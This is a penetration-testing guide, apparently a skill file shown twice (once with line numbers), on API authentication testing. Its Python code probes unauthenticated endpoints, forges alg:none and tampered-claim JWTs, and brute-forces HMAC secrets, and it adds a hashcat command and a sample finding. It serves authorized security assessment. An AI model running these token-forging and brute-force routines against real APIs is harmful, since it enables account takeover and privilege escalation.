Testing API Authentication Weaknesses
When to Use
- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment
- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
- Testing API key generation, storage, and rotation mechanisms for predictability or leakage
- Validating session management including token expiration, revocation, and refresh token security
Do not use without written authorization. Authentication testing involves attempting to bypass security controls.
Prerequisites
- Written authorization specifying target API and authentication mechanisms in scope
- Valid test credentials for at least two user roles (regular user, admin)
- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
- Python 3.10+ with
requests, PyJWT, and jwt libraries
- Wordlists for credential testing (SecLists authentication wordlists)
- API documentation or OpenAPI specification
Workflow
Step 1: Authentication Mechanism Identification
import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
# Probe the API to identify authentication mechanisms
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Endpoint accessible without authentication")
# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"Auth scheme advertised: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": "testuser@example.com", "password": "TestPass123!"})
if login_resp.status_code == 200:
login_data = login_resp.json()
# Check for JWT tokens
for key in ["token", "access_token", "jwt", "id_token"]:
if key in login_data:
token = login_data[key]
if token.count('.') == 2:
auth_indicators["jwt_bearer"] = True
print(f"JWT found in response field: {key}")
# Check for refresh tokens
for key in ["refresh_token", "refresh"]:
if key in login_data:
print(f"Refresh token found in field: {key}")
# Check for session cookies
for cookie in login_resp.cookies:
print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
if "session" in cookie.name.lower():
auth_indicators["session_cookie"] = True
print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")
Step 2: Unauthenticated Endpoint Discovery
# Test all endpoints without authentication
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not in (401, 403):
content_preview = resp.text[:100] if resp.text else "empty"
print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
except requests.exceptions.RequestException:
pass
Step 3: JWT Token Analysis
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""Decode JWT header and payload without verification."""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")
# Security checks
issues = []
# Check 1: Algorithm
if header.get("alg") == "none":
issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
# Check 2: Expiration
if "exp" not in payload:
issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
import time
exp_time = payload["exp"]
ttl = exp_time - time.time()
if ttl > 86400:
issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
if field in payload:
issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
issues.append(f"MEDIUM: Missing standard claims: {missing}")
# Check 5: Key ID
if "kid" in header:
kid = header["kid"]
# Test for path traversal in kid
issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
for issue in issues:
print(f" [{issue.split(':')[0]}] {issue}")
Step 4: JWT Manipulation Attacks
# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
"""Create a token with alg:none to bypass signature verification."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
# Variations of the none algorithm
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
"""Modify payload claims and test if server validates signature."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
def brute_force_jwt_secret(token):
"""Try common secrets against HMAC-signed JWTs."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
print("Not an HMAC token, skipping brute force")
return None
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
hash_func = {
'HS256': hashlib.sha256,
'HS384': hashlib.sha384,
'HS512': hashlib.sha512
}[header['alg']]
for secret in COMMON_JWT_SECRETS:
expected_sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip('=')
if expected_sig == signature:
print(f"[CRITICAL] JWT secret found: '{secret}'")
return secret
print("No common secrets matched - consider using hashcat/john for extended brute force")
return None
# Test all attacks
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {none_token}"})
if resp.status_code == 200:
print(f"[CRITICAL] alg:none bypass successful")
# Test privilege escalation via claim modification
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
print("[CRITICAL] JWT claim modification accepted without signature validation")
brute_force_jwt_secret(token)
Step 5: Token Lifecycle Testing
# Test 1: Token reuse after logout
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")
# Try to use the token after logout
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
print("[HIGH] Token still valid after logout - no server-side revocation")
# Test 2: Token reuse after password change
# (requires changing password and then testing old token)
# Test 3: Refresh token rotation
refresh_token = login_data.get("refresh_token")
if refresh_token:
# Use refresh token
refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
new_tokens = refresh_resp.json()
# Try to reuse the same refresh token (should fail if rotation is implemented)
reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
if reuse_resp.status_code == 200:
print("[HIGH] Refresh token reuse allowed - no rotation implemented")
# Test 4: Token in URL (leakage risk)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")
Step 6: Password Policy and Credential Testing
# Test password policy enforcement on registration/change endpoints
weak_passwords = [
"a", # Too short
"password", # Common password
"12345678", # Numeric only
"abcdefgh", # Alpha only, no complexity
"Password1", # Meets basic complexity but is common
"", # Empty
" ", # Whitespace
]
for pwd in weak_passwords:
resp = requests.post(f"{BASE_URL}/auth/register",
json={"email": f"test_{hash(pwd)%9999}@example.com",
"password": pwd, "name": "Test User"})
if resp.status_code in (200, 201):
print(f"[WEAK POLICY] Password accepted: '{pwd}'")
# Test account enumeration via login response differences
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"
resp_valid = requests.post(f"{BASE_URL}/auth/login",
json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
json={"username": invalid_email, "password": "wrongpassword"})
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
print(f"[MEDIUM] Account enumeration possible:")
print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
Key Concepts
| Term |
Definition |
| Broken Authentication |
OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |
| JWT (JSON Web Token) |
Self-contained token format with header.payload.signature structure, used for stateless API authentication |
| Token Revocation |
Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |
| Credential Stuffing |
Automated attack using leaked username/password pairs against authentication endpoints |
| Account Enumeration |
Determining valid usernames through different error messages or response times for valid vs invalid accounts |
| Refresh Token Rotation |
Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |
Tools & Systems
- Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWT tokens with various attack modes
- jwt_tool: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing
- hashcat: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)
- Hydra: Network login brute-forcer supporting HTTP form-based and API authentication testing
- Nuclei: Template-based scanner with authentication bypass detection templates
Common Scenarios
Scenario: SaaS Platform API Authentication Assessment
Context: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.
Approach:
- Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role
- Test alg:none bypass: server rejects the token (secure)
- Brute force the HMAC secret: discover the secret is "company-jwt-secret-2023" (found using hashcat with custom wordlist)
- Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints
- Test token revocation: tokens remain valid after logout and password change (no blacklist)
- Test refresh token: refresh token has no expiration and can be reused indefinitely
- Find that the password reset endpoint returns different messages for valid vs invalid emails
- Discover that the
/health and /metrics endpoints are accessible without authentication
Pitfalls:
- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows
- Not checking if the JWT secret is the same across all environments (dev, staging, production)
- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week
- Not testing for token leakage in server logs, URL parameters, or error messages
Output Format
## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
- POST /api/v1/auth/login (token issuance)
- All authenticated endpoints (token validation)
- POST /api/v1/auth/logout (ineffective)
**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.
**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services
1---2name: testing-api-authentication-weaknesses3description: >4 Tests API authentication mechanisms for weaknesses including broken token validation,5 missing authentication on endpoints, weak password policies, credential stuffing6 susceptibility, token leakage in URLs or logs, and session management flaws. The tester7 evaluates JWT implementation, API key handling, OAuth flows, and session token entropy8 to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication.9 Activates for requests involving API authentication testing, token validation assessment,10 credential security testing, or API auth bypass.11domain: cybersecurity12subdomain: api-security13tags: [api-security, owasp, authentication, jwt, session-management, credential-security]14version: 1.0.015author: mahipal16license: MIT17metadata:18 source: https://skillmd.com/skills/njones17/testing-api-authentication-weaknesses19---2021# Testing API Authentication Weaknesses2223## When to Use2425- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment26- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)27- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed28- Testing API key generation, storage, and rotation mechanisms for predictability or leakage29- Validating session management including token expiration, revocation, and refresh token security3031**Do not use** without written authorization. Authentication testing involves attempting to bypass security controls.3233## Prerequisites3435- Written authorization specifying target API and authentication mechanisms in scope36- Valid test credentials for at least two user roles (regular user, admin)37- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)38- Python 3.10+ with `requests`, `PyJWT`, and `jwt` libraries39- Wordlists for credential testing (SecLists authentication wordlists)40- API documentation or OpenAPI specification4142## Workflow4344### Step 1: Authentication Mechanism Identification4546```python47import requests48import json4950BASE_URL = "https://target-api.example.com/api/v1"5152# Probe the API to identify authentication mechanisms53auth_indicators = {54 "jwt_bearer": False,55 "api_key_header": False,56 "api_key_query": False,57 "basic_auth": False,58 "oauth2": False,59 "session_cookie": False,60 "custom_token": False,61}6263# Test 1: Check unauthenticated access64resp = requests.get(f"{BASE_URL}/users/me")65print(f"Unauthenticated: {resp.status_code}")66if resp.status_code == 200:67 print("[CRITICAL] Endpoint accessible without authentication")6869# Test 2: Check WWW-Authenticate header70if "WWW-Authenticate" in resp.headers:71 scheme = resp.headers["WWW-Authenticate"]72 print(f"Auth scheme advertised: {scheme}")73 if "Bearer" in scheme:74 auth_indicators["jwt_bearer"] = True75 elif "Basic" in scheme:76 auth_indicators["basic_auth"] = True7778# Test 3: Login and examine tokens79login_resp = requests.post(f"{BASE_URL}/auth/login",80 json={"username": "testuser@example.com", "password": "TestPass123!"})8182if login_resp.status_code == 200:83 login_data = login_resp.json()84 # Check for JWT tokens85 for key in ["token", "access_token", "jwt", "id_token"]:86 if key in login_data:87 token = login_data[key]88 if token.count('.') == 2:89 auth_indicators["jwt_bearer"] = True90 print(f"JWT found in response field: {key}")91 # Check for refresh tokens92 for key in ["refresh_token", "refresh"]:93 if key in login_data:94 print(f"Refresh token found in field: {key}")95 # Check for session cookies96 for cookie in login_resp.cookies:97 print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")98 if "session" in cookie.name.lower():99 auth_indicators["session_cookie"] = True100101print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")102```103104### Step 2: Unauthenticated Endpoint Discovery105106```python107# Test all endpoints without authentication108endpoints = [109 ("GET", "/users"),110 ("GET", "/users/me"),111 ("GET", "/users/1"),112 ("GET", "/admin/users"),113 ("GET", "/admin/settings"),114 ("GET", "/health"),115 ("GET", "/metrics"),116 ("GET", "/debug"),117 ("GET", "/actuator"),118 ("GET", "/actuator/env"),119 ("GET", "/swagger.json"),120 ("GET", "/api-docs"),121 ("GET", "/graphql"),122 ("POST", "/graphql"),123 ("GET", "/config"),124 ("GET", "/internal/status"),125 ("GET", "/.env"),126 ("GET", "/status"),127 ("GET", "/info"),128 ("GET", "/version"),129]130131print("Unauthenticated Endpoint Scan:")132for method, path in endpoints:133 try:134 resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)135 if resp.status_code not in (401, 403):136 content_preview = resp.text[:100] if resp.text else "empty"137 print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")138 except requests.exceptions.RequestException:139 pass140```141142### Step 3: JWT Token Analysis143144```python145import base64146import json147import hmac148import hashlib149150def decode_jwt_parts(token):151 """Decode JWT header and payload without verification."""152 parts = token.split('.')153 if len(parts) != 3:154 return None, None155156 def pad_base64(s):157 return s + '=' * (4 - len(s) % 4)158159 header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))160 payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))161 return header, payload162163# Analyze the JWT token164token = login_data.get("access_token", "")165header, payload = decode_jwt_parts(token)166167print(f"JWT Header: {json.dumps(header, indent=2)}")168print(f"JWT Payload: {json.dumps(payload, indent=2)}")169170# Security checks171issues = []172173# Check 1: Algorithm174if header.get("alg") == "none":175 issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")176if header.get("alg") in ("HS256", "HS384", "HS512"):177 issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")178179# Check 2: Expiration180if "exp" not in payload:181 issues.append("HIGH: No expiration claim (exp) - token never expires")182else:183 import time184 exp_time = payload["exp"]185 ttl = exp_time - time.time()186 if ttl > 86400:187 issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")188189# Check 3: Sensitive data in payload190sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]191for field in sensitive_fields:192 if field in payload:193 issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")194195# Check 4: Missing claims196expected_claims = ["iss", "aud", "exp", "iat", "sub"]197missing = [c for c in expected_claims if c not in payload]198if missing:199 issues.append(f"MEDIUM: Missing standard claims: {missing}")200201# Check 5: Key ID202if "kid" in header:203 kid = header["kid"]204 # Test for path traversal in kid205 issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")206207for issue in issues:208 print(f" [{issue.split(':')[0]}] {issue}")209```210211### Step 4: JWT Manipulation Attacks212213```python214# Attack 1: Remove signature (alg: none)215def forge_none_algorithm(token):216 """Create a token with alg:none to bypass signature verification."""217 parts = token.split('.')218 header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))219 header['alg'] = 'none'220 new_header = base64.urlsafe_b64encode(221 json.dumps(header).encode()).decode().rstrip('=')222 # Variations of the none algorithm223 return [224 f"{new_header}.{parts[1]}.",225 f"{new_header}.{parts[1]}.{parts[2]}",226 f"{new_header}.{parts[1]}.e30",227 ]228229# Attack 2: Modify claims without re-signing230def forge_payload(token, modifications):231 """Modify payload claims and test if server validates signature."""232 parts = token.split('.')233 payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))234 payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))235 payload_data.update(modifications)236 new_payload = base64.urlsafe_b64encode(237 json.dumps(payload_data).encode()).decode().rstrip('=')238 return f"{parts[0]}.{new_payload}.{parts[2]}"239240# Attack 3: Brute force weak HMAC secrets241COMMON_JWT_SECRETS = [242 "secret", "password", "123456", "jwt_secret", "supersecret",243 "key", "test", "admin", "changeme", "default",244 "your-256-bit-secret", "my-secret-key", "jwt-secret",245 "s3cr3t", "secret123", "mysecretkey", "apisecret",246]247248def brute_force_jwt_secret(token):249 """Try common secrets against HMAC-signed JWTs."""250 parts = token.split('.')251 header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))252 if header.get('alg') not in ('HS256', 'HS384', 'HS512'):253 print("Not an HMAC token, skipping brute force")254 return None255256 signing_input = f"{parts[0]}.{parts[1]}".encode()257 signature = parts[2]258259 hash_func = {260 'HS256': hashlib.sha256,261 'HS384': hashlib.sha384,262 'HS512': hashlib.sha512263 }[header['alg']]264265 for secret in COMMON_JWT_SECRETS:266 expected_sig = base64.urlsafe_b64encode(267 hmac.new(secret.encode(), signing_input, hash_func).digest()268 ).decode().rstrip('=')269 if expected_sig == signature:270 print(f"[CRITICAL] JWT secret found: '{secret}'")271 return secret272273 print("No common secrets matched - consider using hashcat/john for extended brute force")274 return None275276# Test all attacks277none_tokens = forge_none_algorithm(token)278for none_token in none_tokens:279 resp = requests.get(f"{BASE_URL}/users/me",280 headers={"Authorization": f"Bearer {none_token}"})281 if resp.status_code == 200:282 print(f"[CRITICAL] alg:none bypass successful")283284# Test privilege escalation via claim modification285admin_token = forge_payload(token, {"role": "admin", "is_admin": True})286resp = requests.get(f"{BASE_URL}/admin/users",287 headers={"Authorization": f"Bearer {admin_token}"})288if resp.status_code == 200:289 print("[CRITICAL] JWT claim modification accepted without signature validation")290291brute_force_jwt_secret(token)292```293294### Step 5: Token Lifecycle Testing295296```python297# Test 1: Token reuse after logout298logout_resp = requests.post(f"{BASE_URL}/auth/logout",299 headers={"Authorization": f"Bearer {token}"})300print(f"Logout: {logout_resp.status_code}")301302# Try to use the token after logout303post_logout_resp = requests.get(f"{BASE_URL}/users/me",304 headers={"Authorization": f"Bearer {token}"})305if post_logout_resp.status_code == 200:306 print("[HIGH] Token still valid after logout - no server-side revocation")307308# Test 2: Token reuse after password change309# (requires changing password and then testing old token)310311# Test 3: Refresh token rotation312refresh_token = login_data.get("refresh_token")313if refresh_token:314 # Use refresh token315 refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",316 json={"refresh_token": refresh_token})317 new_tokens = refresh_resp.json()318319 # Try to reuse the same refresh token (should fail if rotation is implemented)320 reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",321 json={"refresh_token": refresh_token})322 if reuse_resp.status_code == 200:323 print("[HIGH] Refresh token reuse allowed - no rotation implemented")324325# Test 4: Token in URL (leakage risk)326resp = requests.get(f"{BASE_URL}/users/me?token={token}")327if resp.status_code == 200:328 print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")329```330331### Step 6: Password Policy and Credential Testing332333```python334# Test password policy enforcement on registration/change endpoints335weak_passwords = [336 "a", # Too short337 "password", # Common password338 "12345678", # Numeric only339 "abcdefgh", # Alpha only, no complexity340 "Password1", # Meets basic complexity but is common341 "", # Empty342 " ", # Whitespace343]344345for pwd in weak_passwords:346 resp = requests.post(f"{BASE_URL}/auth/register",347 json={"email": f"test_{hash(pwd)%9999}@example.com",348 "password": pwd, "name": "Test User"})349 if resp.status_code in (200, 201):350 print(f"[WEAK POLICY] Password accepted: '{pwd}'")351352# Test account enumeration via login response differences353valid_email = "testuser@example.com"354invalid_email = "nonexistent_user_xyz@example.com"355356resp_valid = requests.post(f"{BASE_URL}/auth/login",357 json={"username": valid_email, "password": "wrongpassword"})358resp_invalid = requests.post(f"{BASE_URL}/auth/login",359 json={"username": invalid_email, "password": "wrongpassword"})360361if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:362 print(f"[MEDIUM] Account enumeration possible:")363 print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")364 print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")365```366367## Key Concepts368369| Term | Definition |370|------|------------|371| **Broken Authentication** | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |372| **JWT (JSON Web Token)** | Self-contained token format with header.payload.signature structure, used for stateless API authentication |373| **Token Revocation** | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |374| **Credential Stuffing** | Automated attack using leaked username/password pairs against authentication endpoints |375| **Account Enumeration** | Determining valid usernames through different error messages or response times for valid vs invalid accounts |376| **Refresh Token Rotation** | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |377378## Tools & Systems379380- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWT tokens with various attack modes381- **jwt_tool**: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing382- **hashcat**: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)383- **Hydra**: Network login brute-forcer supporting HTTP form-based and API authentication testing384- **Nuclei**: Template-based scanner with authentication bypass detection templates385386## Common Scenarios387388### Scenario: SaaS Platform API Authentication Assessment389390**Context**: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.391392**Approach**:3931. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role3942. Test alg:none bypass: server rejects the token (secure)3953. Brute force the HMAC secret: discover the secret is "company-jwt-secret-2023" (found using hashcat with custom wordlist)3964. Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints3975. Test token revocation: tokens remain valid after logout and password change (no blacklist)3986. Test refresh token: refresh token has no expiration and can be reused indefinitely3997. Find that the password reset endpoint returns different messages for valid vs invalid emails4008. Discover that the `/health` and `/metrics` endpoints are accessible without authentication401402**Pitfalls**:403- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows404- Not checking if the JWT secret is the same across all environments (dev, staging, production)405- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week406- Not testing for token leakage in server logs, URL parameters, or error messages407408## Output Format409410```411## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable412413**ID**: API-AUTH-001414**Severity**: Critical (CVSS 9.1)415**OWASP API**: API2:2023 - Broken Authentication416**Affected Components**:417 - POST /api/v1/auth/login (token issuance)418 - All authenticated endpoints (token validation)419 - POST /api/v1/auth/logout (ineffective)420421**Description**:422The API uses HS256-signed JWT tokens with a brute-forceable secret423("company-jwt-secret-2023"). An attacker who discovers this secret can424forge tokens for any user with any role, including admin. Additionally,425tokens are not revocable - logout does not invalidate the token server-side,426and the 7-day expiration means stolen tokens remain valid for extended periods.427428**Attack Chain**:4291. Capture any valid JWT from authenticated session4302. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt4313. Secret recovered in 3 minutes: "company-jwt-secret-2023"4324. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret4335. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts434435**Remediation**:4361. Replace HS256 with RS256 using a 2048-bit RSA key pair4372. Use a cryptographically random secret of at least 256 bits if HMAC must be used4383. Implement token blacklisting using Redis for logout and password change events4394. Reduce token TTL to 15 minutes with refresh token rotation4405. Add `iss` and `aud` claims validation to prevent token misuse across services441```